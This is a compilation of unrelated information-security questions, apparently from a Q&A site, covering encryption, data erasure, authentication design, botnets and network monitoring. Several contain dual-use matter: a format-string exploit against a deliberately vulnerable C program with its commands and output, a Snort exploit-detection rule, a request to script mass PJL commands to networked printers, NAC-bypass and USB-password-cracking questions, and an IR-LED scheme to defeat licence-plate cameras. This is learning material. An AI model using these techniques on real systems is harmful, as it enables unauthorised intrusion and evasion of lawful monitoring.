Please help provide some good resources where I can understand these concepts.
My Platform is Mac OSX 10.9.2 and my Google Chrome is Version 35.0.1916.153.
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The Wiretap Report 2013, http://www.uscourts.gov/Statistics/WiretapReports/wiretap-report-2013.aspx#sa5 states that the number of state wiretaps in which encryption was encountered went up from 15 taps (2012) to 51 taps (2013). It also mentions that in just 9 of the 2013-cases officials were unable to decipher the plain text of the messages. For the first time the report mentions success rates of deciphering in previous years: officials deciphered all 52 crypto intercepts.
I realize this is tapping phone lines (though 'plain text messages'?), perhaps crypto-phones are not working that well compared to TrueCrypt or other digital info encryption tools. Yet, I wonder whether there is more known about the cause of such high scores? Is it weak keys, known keys, flawed crypto?
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My lecturer said that since hard disk space is so cheap these days, most organisations do not delete the data on the disk. Rather, they only logically delete it (remove the link to the data). If this is the case, would it also mean that organisations like Facebook still have the data of users who delete their pictures, comments etc.? Is it really that troublesome to physically remove data?
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I would like to know if there is a way to securely erase USB flash drives without a chance to recover data from it once it has been erased. I know, that programms like DBAN can be used to securely erase HDDs, but as they work different from flash based drives, I am not sure if I can use DBAN to securely erase my USB drives.
If DBAN cannot be used, how do I erase USB flash drives?
I know that SSDs have to be erased using programs that reset the data cells and are often available from the manufacturer, but I do not know if this is also the case for USB flash drives.
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Note: this is not the same as What is a self-contained cross-platform encryption for USB drive?. I believe my question is on topic because I'm not asking for a recommendation. I'm asking if such a product exists. I'm not asking for a subjective comparison of products. A correct answer could be as short as "yes" or "no" with a link to corroborate.
Here's the use case I'm considering:
The user has multiple, heterogenous computers. (Linux, Mac OS, and Windows)
The user shares a volume of files between said computers. (The method of sharing is unspecified. Could be Dropbox or USB drive or … anything.)
The volume can be sliced to support large volumes on host file systems with file size constraints. (E.g. a 10GB volume can be stored as 5 X 2GB files on a FAT file system.)
The user enters a passphrase once to unlock the volume and see file metadata. (Not required to type a passphrase for each individual file.)
Uses authenticated encryption.
Notice that the last criterion eliminates TrueCrypt as a possible answer.
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Could clicking on an e-mail attachment (a Microsoft Excel file) from a trusted source (work colleague) have installed a tracking virus that would have allowed the sender to obtain browsing history from my computer?
I realise this will raise issues of what I was looking at online and why I feel this may have happened to me. The reason I ask is that I generally would only have used my laptop at weekends generally for online learning etc. Concerns that a work colleague may have been able to access my browsing history arose when conversations at the start of the week were detailed around what I had been looking at online at the weekend - initially minor common themes and then around detailed legislation not specifically related to where I work but that I happened to be looking at that weekend.
Have delayed querying this as I do not wish to appear paranoid but would like to know if this is a possibility and how would I find out for sure?
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I have setup a test website in order to play around setting up SSL. The website is setup on a Windows host with Apache 2.2.20 with OpenSSL 0.9.8r, MySQL 5.5.37, PHP 5.3.28. The URL to the home page of the website is http://example.com/index.php. Once you get to the index.php page, you are instantly redirected to http://example.com/login.php.
I setup SSL with a self-signed cert. When I navigated to index.php on https, I get the error stating the certificate does not match the server. I click on "Continue to this website (not recommended)." I receive the message "You are about to view pages over a secure connection." I select ok, and I immediately receive the message "You are about to leave a secure Internet connection." I select yes I want to continue. IE errors out and states "Internet Explorer cannot display the webpage."
If I navigate directly to login.php on https, it works as expected.
My question is... What would be causing Apache to start loading secure and then switching to unsecure?
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I've been inspired by the answer to the question here: Location to store an encryption key
It gave me a lot to think about.
My friend and I are building a website and we've encountered a problem in which every user will have the ability to upload digital content (files) and sell it to other people.
The people who purchase the file will have access to it (downloading it).
The problem is how do I make it safe from abuse? that a user who purchased a file wont be able to share it with other people (if they will have the link they still wont be able to download the file).
For example if UserX purchased a file and now have the following url:
www.domain.com/downloads/124asfsafsafadsa123127sdhsdc
by sharing it with UserY who didn't purchase the file will raise an error message.
We are developing in php.
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Is it possible to sniff a network (WLAN) and find out what operating system are installed on network clients (PCs/Phones etc)?
I am using Ubuntu.
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I need to simplify (at the cost of security features) an SMIME deployment.
How can I generate a CSR that reuses the same public and private key for more than one email address?
In other words, I have N email addresses, and want to generate N CSRs (and resulting certificates); however the crypto will be the same. (public and private key). Since I'm using a different subject name, I'm assuming the SerialNumber/Thumbprint/Hash will be different among keys, and this is OK for client software.
I intend to use this for signing and encryption key usages, so preferably the CSR key usage will include both usages (and assume the server will approve of such a request)
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I just read a very interesting article in Popular Science about repo trucks and their new auto-scanning license plate cameras.
The cameras are mounted on all four corners of their trucks, as as they drive around they automatically scan any license plate number that comes into vision and compares it with an online database of 1.8 billion other scans. (Even though there a quarter of a billion cars in total in the U.S., vehicles are often scanned up to a dozen times or more.) A single truck can scan as many as 8,000 plates in one day.
If he gets a hit, a notification comes up on the repo driver's screen telling him the vehicle is past due. Otherwise, the data gets saved and sent back to the database along with the license plate number, GPS coordinates of the scan, and a time stamp. Using this data, repo firms can build profiles predicting a driver's home address, workplace, favorite restaurant, gym, etc. The system was so effective firms started hiring "scouts" to drive around with a $23,000 camera suite just to suck up license plates all day.
These databases came online for use by any paying customer (usually repo firms) in the early 2000s, and by 2009 repos were purchasing their own camera systems to be installed on trucks. It's safe to assume law enforcement has been playing this game even earlier, and possibly have special access to other license plate databases.
My question is, what would be the most discreet way to defend against such blatant data-mining attacks? I don't mind answering questions to LE, but like most of the equipment and tools I own that some would consider "iffy" (even if they're just ignorant of the law), I'd rather avoid unnecessary attention to it if I can. If the final thing could look like a bedazzled license-plate frame that would be great.
I own my car in full and don't have any debt, but the data-capture is indiscriminate. Nobody knows how these databases are secured, who has access, or if there are backdoors installed.
I'd rather just "opt-out".
I'm wondering the cleanest way to non-confrontationally "mask" my plate to such scans. The cameras they show in the pictures use IR lights (usually for night vision), so I'm wondering if a sufficiently bright IR light near my license plate would obscure the camera from reading all the numbers?
IR light would mean it wouldn't be visible to the human eye, and if the camera couldn't get a read, it would just give up. Cameras collect data in frames, sending them to a processing unit that analyzes each frame looking for a recognizable pattern — like a license plate — so every frame that doesn't contain one is technically a "failed scan".
Is it possible to have a light bright enough? I would need a prototype and a camera that picks up IR to test it, so I was wondering if anybody else has more understanding or experience with this already?
Also, any alternative ideas to defend against this are welcome.
Edit: So, I've done some more research, and found this. He describes blocking a surveillance cam from watching your face by building the LEDs around some glasses and a hat. Like he mentions with this "super-bright LEDs" method, you will highlight yourself to the camera but it will not make out the features of your face. Since this is computer vision we're talking about and not a security guard watching the screen, this is not an issue for my project.
I think the next step is to order a roll of IR LEDs, see if they work with my webcam or camera, and test arrangements on a license plate.
Like someone commented much earlier, you can still get scanned while parked unless you wired them to stay on, in which case you're dealing with car battery drain problems. I probably won't go that far with this project. It's sunny >300 days a year here, so my first thought for that was a roof-mounted solar panel. :-)
Edit 2015-01-21: EFF: What You Can Learn from Oakland's Raw ALPR Data
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Basically, I'm trying to let the user use a private key without having read access to it.
Use case: Employee needs to SSH to a server in the data center. There is 1 private key for all servers, stored on the bastion. How can the employee use the bastion as a jump box while still protecting the private key?
Employee connects (over SSH) to bastion.
Bastion host uses jailed shell to lock down that employee's access.
Employee then SSH connects to an end-server (but didn't touch the private key in the process)
Is there an application/tool/script/method for the bastion to provide SSH access to another server without disclosing the private key to employee?
One thought I had is that there might be a way for a listener on the bastion to trigger its own SSH connection to the end node, and then provide the jailed user a shared 'screen' or shared shell to facilitate the access to the end-node?
Maybe I'm over complicating this and there is a better solution out there. Per-user private keys seem like a nightmare to manage.
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I can't seem to find the answer to this question.
I read that botnet bots are used as email relays (they have smtp servers installed).
Wikipedia on Open mail relay:
"(...)Internet initiatives to close open relays have ultimately missed
their intended purpose because spammers have created distributed
botnets of zombie computers that contain malware with mail relaying
capability. The number of clients under spammers' control is now so
great that previous anti-spam countermeasures that focused on closing
open relays are no longer effective."
I also read that botnets are used to cover tracks and bypass black-lists of spam.This brings me many questions:
Do botnets have email domains compromised?
How do botnets deliver email with fake source addresses?(without
email trusted email servers compromissed)
Nowadays, it is hard to spam known email companies (like gmail)
because they do not accept telnet connections and fake source
addresses. It requires authentication. How do botnets and spammers
deal with this?
If bots are relays, don't that mean that they can only deliver spam
to other bots. Does this make any sense? This won't even affect
users.
How can botnets bypass domain blacklisting if they need known
accounts and therefore domains to send on source addresses?
I also read a pdf from this link:
https://www.damballa.com/downloads/r_pubs/WP_Botnet_Communications_Primer.pdf
It states this about domain flux:
Domain Wildcarding abuses native DNS functionality to wildcard (e.g.,
*) a higher domain such that all FQDN’s point to the same IP address. For example, *.damballa.com could encapsulate both
mypc.atl.damballa.com and myserver.damballa.com. This technique is
most commonly associated with botnets that deliver spam and phishing
content – whereby the wildcarded information that appears random (e.g.
“asdkjlkwer” of asdkjlkwer.atl.damballa) is used by the botnet
operator to uniquely identify a victim, track success using various
delivery techniques, and bypass anti-spam technologies.
Can anyone explain me the bold sentences? Who is the victim? The compromised machine or the spam target? Ho does domain wildcarding help on spam and phishing?
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So when you connect to tor it gives you a specific IP right, who's IP is this exactly? And when you visit an open website who's IP is visible to the site, mine or the exit node. And while you're connected to end to end untrusted hidden service if the website tracks you with cookies is my original IP visible or the one assigned to me by tor?
I use orweb on android for hidden services and I use different browser for google, Yahoo,etc so I'm not exposed by ad cookies.
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Great write up on network printer hacking at IronGeek's site here for anyone interested http://www.irongeek.com/i.php?page=security/networkprinterhacking.
Here's what I want to do:
Scan the subnet for HP printers with port 9100 open. I know I can use OS fingerprinting and the port argument to filter it down. I want to export the IP addresses matching this criteria to a file or list, and then telnet to every one of those IPs and issue a command. Specifically: @PJL RDYMSG DISPLAY=”YOUR MESSAGE“. This will cause the printers to display a custom ready message.
Advice? Guidance? How would I go about doing this?
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Rule-4:
alert udp $EXTERNAL_NET any
-> $HOME_NET 3333 (msg:"ET
EXPLOIT Wireshark ENTTEC
DMX Data Processing Code
Execution Attempt 1";
content:"|45
53 44 44|";
depth:4;
content:"|04|";
distance:2; within:1;
content:"|FE
FF|";
distance:0; within:50;
content:"|FE FF|";
distance:0;
within:50; content:"|FE|";
byte_test:1,>,11,0,relative;
classtype:attempted-user;
reference:url,www.exploitdb.
com/exploits/15898/;
reference:bid,45634; sid:2012154;
rev:2;)
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Assume a web site with some kind of mailer option, that doesn't implement any rate limiting: This enables users to send an unlimited amount of email per second.
Will SMTP face possible DoS attacks for that? Or any kind of problems? Can anyone explain this?
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If I have...
<table onclick="texttexttexttextUSERINPUTHERE"></table>
Would XSS be possible? I mean with > and " filtered out. I know if there wasn't text behind the user input, you could put alert(0), and that would set off when clicked, but I don't know if it's possible with this case.
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When I am browsing in an environment where Untangle server is installed, can the network admin track everything I do? for example:
Skype chat messages
Personal emails (Gmail, Yahoo)
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I am considering uploading some (all) of my digital personal data to Google Drive. I guess this would instantly grant access for NSA to my data. (Is that right?)
Who would have access to my data on my gDrive? After deleting some files on the Drive, will they actually be deleted?
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I have Kingston DataTraveler vault privacy USB flash drive (DTVP/2GB). Here is tech specs. Flash drive has a 256-bit AES hardware based encryption.
My flash has password protected and I do not know password. Is it possible, to crack password in some way?
The question is - is it possible to get encrypted password hash from flash drive and then brute force it on another machine ?
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I am creating SPA application using Angular. This will serve my two purpose for middle layer on mobile as well website.
Now trying to security my application from XSS, CSRF and also wanted secure authentication mechanism. My services will be Resful stateless services.
This is the flow which I think will help me.
Client App send User ID, Password to server.
Server validate the request and generate token which will get stored in db.
This token = userId + Random Number + TimeStamp
token will send back to client APP.
client APP will store it in local storage or cookie.
With every subsequent request i will validate the token with one store in db.
Problem areas
Where should the token stored? Cookie or local storage?
On server, token need to be stored somewhere. If stored in db that will increase load on DB.
Since I am going to use AJAX request, how should I pass token value Header or body?
Since this same codebase I will use for my website also, How secure is this approach for website?
How to tackle CSRF attack in this case?
I have referred Securing a JavaScript Single Page App with RESTful backend also. But the storing the user id in again Cookies will create security hole. Because both userid and token are stored on client side.
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I have a set of INPUT chain rules restricting traffic based on source ip and destination ports.The services are ftp and a job service.The server has a public ip address.
The default policy of the INPUT chain is deny. The default policy of the FORWARD chain is deny.
The only service accessible from any ip address is the ssh service(updated software).
There is only one user on the system, that is the admin user.
My question is, is there any utility in putting OUPUT chain rules on this machine.
And have any one of you come across attack cases where the attacker is able to initiate network connections from the machine without getting root access ? (if the attacker gets root access, then he can simply knock off the iptable rules)
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I am using pfsense as a firewall, and I would like to know how I can stop network scans from enumerating open services and ports.
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I am making a site's authentication system in which the sign up form isn't located at index and it isn't going to be at index. If a user is already signed in and wants to fill sign up form, the script tells him that you're already signed in with the following account. It is ok to do that or not? I've seen Google telling that re-enter your password and email is already filled and also picture and name are also displayed.
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I have implemented the login/verification aspect of a two factor auth system as per RFC 6238.
It works fine with Google Authenticator, which is great.
Now I am turning my attention to the backup codes, that are provided by services implementing 2FA such as Google and GitHub.
I notice they are of a different length and/or format to the usual 6 digit direct authentication code.
So, do I:
Generate an arbitrary number of codes when a user sets up 2FA
Store them in the DB alongside the user
Make use of the fact they are a different length or format in order to decide how to check them?
Are they supposed to be random, or generated based on some hash of the user?
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My community centre has a public computer center. I am pretty sure that it's connected in a star topology with some switch in the center. It also have a proxy server which we need to enter a username and password to access the internet. The username and password can be requested from the service counter near the public computer center.
My question is that how might somebody using the community centre's computer do a MiTM attack on me also using the community centre's computer. Secondly, how might I be able to protect myself from such attacks.
Thanks!
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I'm am looking into conducting a phishing campaign to gauge how susceptible my workplace is to phishing attacks. Part of this will involve guiding "duped" users to materials or resources that will help users learn how to spot and handle phishing attempts.
Would anyone happen to know of some good, preferably free, resources we could utilize? We already have a plan for conducting the campaign(i.e., sending the emails, tracking them, etc...), I'm looking for what to do once a person clicks through the email and now should be helped in learning about phishing and it's threats.
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I am in the habit of wiping new drives and for SSDs I use hdparm to perform an ATA secure erase.
I just purchased two 44-pin PATA SSDs through an eBay seller in China and hdparm does not report a Security section when querying the drives:
# hdparm -I /dev/sda
/dev/sda:
ATA device, with non-removable media
Model Number: KingSpec KSD-PA25.6-032MS
Serial Number: xxx
Firmware Revision: 20131018
Standards:
Supported: 9 8 7 6 5
Likely used: 9
Configuration:
Logical max current
cylinders 16383 16383
heads 15 15
sectors/track 63 63
--
CHS current addressable sectors: 15481935
LBA user addressable sectors: 62377984
LBA48 user addressable sectors: 62377984
Logical/Physical Sector size: 512 bytes
device size with M = 1024*1024: 30458 MBytes
device size with M = 1000*1000: 31937 MBytes (31 GB)
cache/buffer size = 1 KBytes (type=DualPort)
Nominal Media Rotation Rate: Solid State Device
Capabilities:
LBA, IORDY(can be disabled)
Standby timer values: spec'd by Vendor, no device specific minimum
R/W multiple sector transfer: Max = 1 Current = 0
DMA: mdma0 mdma1 mdma2 udma0 udma1 udma2 udma3 udma4 *udma5 udma6
Cycle time: min=120ns recommended=120ns
PIO: pio0 pio1 pio2 pio3 pio4
Cycle time: no flow control=120ns IORDY flow control=120ns
Commands/features:
Enabled Supported:
* SMART feature set
* Power Management feature set
Write cache
* WRITE_BUFFER command
* READ_BUFFER command
* NOP cmd
* 48-bit Address feature set
Mandatory FLUSH_CACHE
FLUSH_CACHE_EXT
HW reset results:
CBLID- above Vih
Device num = 1
Checksum: correct
From a security perspective, is this something I should be concerned about?
I asked a more detailed, non-security question at Super User (no responses):
hdparm does not report a Security section
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I'm asking my question here since I was not able to find an answer anywhere.
I have written a piece of software which stores pretty delicate passwords. I have used BCrypt as hashing algorithm with an appropriate setting of strength. Point is, I have now implemented a method which, everytime the user changes something, chooses a new random salt and hashes the passwords using the new salt. Now worst case scenario would be that someone has, say, one hundred pairs of the passwords hash with the used salt. My question is if this information would help an attacker, and if yes, to which extent.
Thanks to everyone who takes his time to read/answer my question in advantage.
Cheers, Tephelon
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It is really common (and I would say it is some kind of security basic) to not show on the login page if the username or the password was wrong when a user tries to log in.
One should show a generic message instead, like "Password or username are wrong".
The reason is not to show potential attackers which usernames are already taken, so it'll be harder to 'hack' an existing account.
Sounded reasonable for me, but then something different came on my mind.
When you register your account, you type in your username. And when it is already taken, you get an error message - which is not generic!
So basically, an attacker could just grab 'correct' user names from the register page, or am I wrong?
So what is the point about generic messages than? Non-generic messages would lead to a much better UX.
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I recently got a call from our network admin asking that I stop the app updates on my iPhone to open up bandwidth. It is my personal phone. My question is 2 part:
Out of all of the personal devices in the office, how was the admin
able to identify the device as mine.
What can I change on my phone so it does not personally identify me?
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I am running MIT Kerberos V and I would like to automate the creation of principals. The page here
explains how to do this by providing principal names and passwords on the command line like so:
awk '{ print "ank +needchange -pw", $2, $1 }' < /tmp/princnames |
time /usr/sbin/kadmin.local> /dev/null
Where ank is a synonym for add_principal (per kadmin(5)) and it is assumed that /tmp/princnames is of the form:
principal1 password1
principal2 password2
...
The obvious drawback of this is that each principal's password must be supplied in the clear. Is there any way I can pass a crypto hash instead?
This is for two reasons:
Security, obviously.
I'm migrating from an old system and would like my users to be able to authenticate with their old passwords so I would like to pass their hashed passwords from the shadow file to Kerberos.
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I'm trying to obtain a copy of program that uses 128 bit encryption, I've been denied since it could decrypt ANYTHING that anyone else has saved in it.
I suggested giving me the program, but on mine just change the key so it only works on my copy and no others.
I know little of encryption, but it sounds like a logical solution to me. I get the program, and they get to keep their key secret.
My program with a different key would not read their files.
Is this correct?
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Lately, there have been a couple of projects which aim to replace all the credit cards in your wallet with a single smart device which will hold all of them, sync with your smartphone, etc. (Namely Coin and Protean)
What I specifically don't like, however, is that there are so many points of failure involved:
Both require inputting card information on your smartphone, and both seem to sync card information with their servers. They promise that they "encrypt" all data. Problems:
Do I really trust them with their deploying cryptography properly?
Do I really trust them that they will store things securely?
Both use Bluetooth for communication with your phone, which seems downright dangerous.
Coin additionally uses Bluetooth to develop a sort of proximity sensor which doesn't allow the card to process transactions unless the phone is nearby.
How are they doing this? If they're just doing a Bluetooth MAC search, that's mindlessly simple to spoof.
Bluetooth has a number of security problems.
Are there any solutions out there (or even in the works) which act more like TPM/smartcard devices which work on proven standards and would hold up to audits?
Specifically, I don't like the idea of having so many points of failure (Bluetooth, on-phone "encryption" provided by them, online "encrypted" backups provided by them). I'm really interested in the idea of using a secure single-card device, provided that it actually is secure in an auditable, proven way.
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I'm trying to learn how Microsoft Certificate Templates interact with a certificate request, and can only guess that they take on one of the two/three forms:
They simply help the client create a request, EKUs, and other settings for the PKCS10 submission to the server.
OR they are used to validate, control, and restrict what exactly a user can do when uploading a PKCS10 request. Kinda like an application level firewall
Some combination of the above that either uses data in the certificate, or heuristics to automatically issue or deny a certificate.
What I'm trying to prevent
I want to prevent a user from diverging from the approved templates I've offered them, in any and all ways... in particular, I want to prevent a change of:
Expiration date
EKU
Basic Constraints
Critical / Non critical sections
Key usage
Etc.
... if they paste in the manual certificate request in the enrollment page (that doesn't use a template)
Research
I'm looking at the docs for Certenroll and see there is an enrollment method that uses a template, and a submit method that does not.
I assume the Submit() method from CERTCLILib.ICertRequest3 needs to be run under a controlled service account since anything can be sent to the server, but things aren't too clear from a documentation standpoint.
Since there seems to be some flexibility in using templates at a programmatic level, I'm unsure how to describe the benefits or utility of a Server Template.
Finally, it's possible that the "Application Firewall" for certificate requests, exists in the form of custom code, or Microsoft Forefront Identity Manager, or some other product.
Assistance is appreciated.
|
I'm currently doing a penetration test for a client, who are using Trustwave NAC to prevent unauthorized physical access to their network.
I would like to know if there are any possible ways to bypass this. Client is putting a lot of faith in their implementation (with good cause so far), but I would like to be able to bypass it if possible to demonstrate, if nothing else that reliance on a single security technology is not a good solution.
Short of trying to DOS the device (I have permission to try this), I'm not sure what could be attempted.
This device does is not simple port security. It uses ARP poisoning to hide the actual gateway, and puts all devices in a quarantine LAN until they are authenticated against an Active Directory server. Spoofing a MAC of someone else in the quarantine LAN will not help, unless I can also trick the NAC device into think I was a device that had previously authenticated against AD.
Looking for known techniques, academic papers, conference presentations etc.
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I've run into a predicament... I'm developing a mobile application that utilizes a server for various things. One portion is that it stores an id/key pair related to accessing and processing transaction information for specific accounts. This id/key for specific accounts is dynamically decided based on what's going on with the client and what account needs accessing within code on client side. However since all information for the app is accessed through an api over HTTP(S), the id/key could potentially be publicly available to individuals with ill intentions..
I'm extremely paranoid of security breaches of this information, but need to find a way to get it down to the client securely without the possibility of interception.
I've thought of a few ways, but I haven't come up with anything that seems full-proof, and I'm not sure that there is anything guaranteed since even an encrypted value of this id/key pair can be acquired with API credentials.
My main idea was some sort of client / server dynamic authentication that's uniquely generated and identifiable between both entities, along with a salted 2 way encryption of this id/key that is passed back to the client? Although this could be breached if someone managed to dig into the compiled code and see how this authentication / dynamic salt is generated.
Obviously, it's 100% better to not have to transmit this information down to the client, but unfortunately in this specific situation there's no way around it.
Given the sensitivity of this information, the solution here needs to be solid.
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I have a master server installed on AWS and the slave server installed on GoDaddy. How many SSL certificates do I need to buy? Can I use a single certificate for both?
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I came up with this idea but I cant figure out if it's good or bad, maybe you can help. My goal is: I want to create extremely strong passwords for my main accounts (gmail, skype and so on). I want to have different passwords for all my accounts that are longer than 20 characters and that contains lower+upper case chars, numbers and special characters. What would you do to achieve that?
It's pretty impossibile to remember even one password like that so I came up with this idea: what if I develop a (simple and secret) hashing algorithm that transforms easy passwords (even 3 or 4 characters) into strong ones?
In that scenario I would only have to remember "dog" for my Gmail, "black" for Yahoo and so on. When you have to login, you just process your easy password in your handmade script that converts it, than you just copy-paste.
I think this method is great for some reasons:
if your hashing algo is irreversible and secret, there's no way to figure out the "easy passwords" by having (even a lot) of the strong passwords (anyway you must be really unlucky if someone managed to hack all your main accounts on gmail, forums, instant messaging and so on)
i just have to remember extremely easy words for all my accounts while my "final passwords" will be bulletproof for lots of years
if well made, an easy hashing algo can just be remembered and used on paper instead of making a script (that could be eventually stolen). the algorithm can be easy because you dont need an extremely good avalanche effect (you won't be making tens of thousands of passwords, maybe just 100 or 200 in a few years?
Even if a cracker managed to understand the formulas in your hashing algorithm, there are no public rainbow tables for your algorithm, and I highly doubt that your gmail account is so valuable that anyone would start making one. This method is meant only for everyday passwords, not for high risk situations where NSA is involved, and it is good because the algoritm is related only to YOUR passwords, because it's not a public one. MD5 is used by thousands of websites, that's why people started wasting time/money to crack it. My personal algo will be just mine, so noone will be interested to invest money to crack it
What's your opinion?
PS. sorry of my extremely bad english :)
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I've been reading "Hacking: The Art of Exploitation 2nd Ed." and I hit a part that's not explained clearly enough for me.
In the section "Writing to an Arbitrary Address" Jon Erickson creates a vulnerable little c program (called fmt_vuln) that passes format-paramaters (such as %x) as the first argument to printf. Doing that will start printf reading from the top of the stack frame. He then uses this vulnerability to write to the arbitrary address 0x08049794.
Below code (fmt_vuln.c) is the target program.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
if(argc < 2) {
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
// Debug output
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}
Using this vulnerability, I'm trying to write a value "0xDDCCBBAA" to the address of test_val. The program's output shows that test_val is found at 0x08049794.
The exploit looks like this:
./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%150x%n
This writes the hex value 0xAA to the address 0x08049794.
4 writes to sequential addresses, starting at 0x08049794, and adding 1 byte each time should achieve this. The first time we write 0xAA, then the second time we write 0xBB to 0x08049795, the third time we write 0xCC to 0x08049796, and the last time we write 0xDD to 0x08049797.
The book uses the exploit like this:
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"
$1 = 126
reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\
x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%126x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc
0
[*] test_val @ 0x08049794 = 170 0xddccbbaa
reader@hacking:~/booksrc $
My Question is:
Why do I need the 4-bytes of junk data between the addresses? The author uses the word "JUNK" because it's an arbitrary 4-byte string, but it could be anything 4-bytes long. But he never explains why that 4-bytes of JUNK data is required. It only says "Another arguments is needed for another %x format parameter to increment the byte count to 187, which is 0xBB in decimal".
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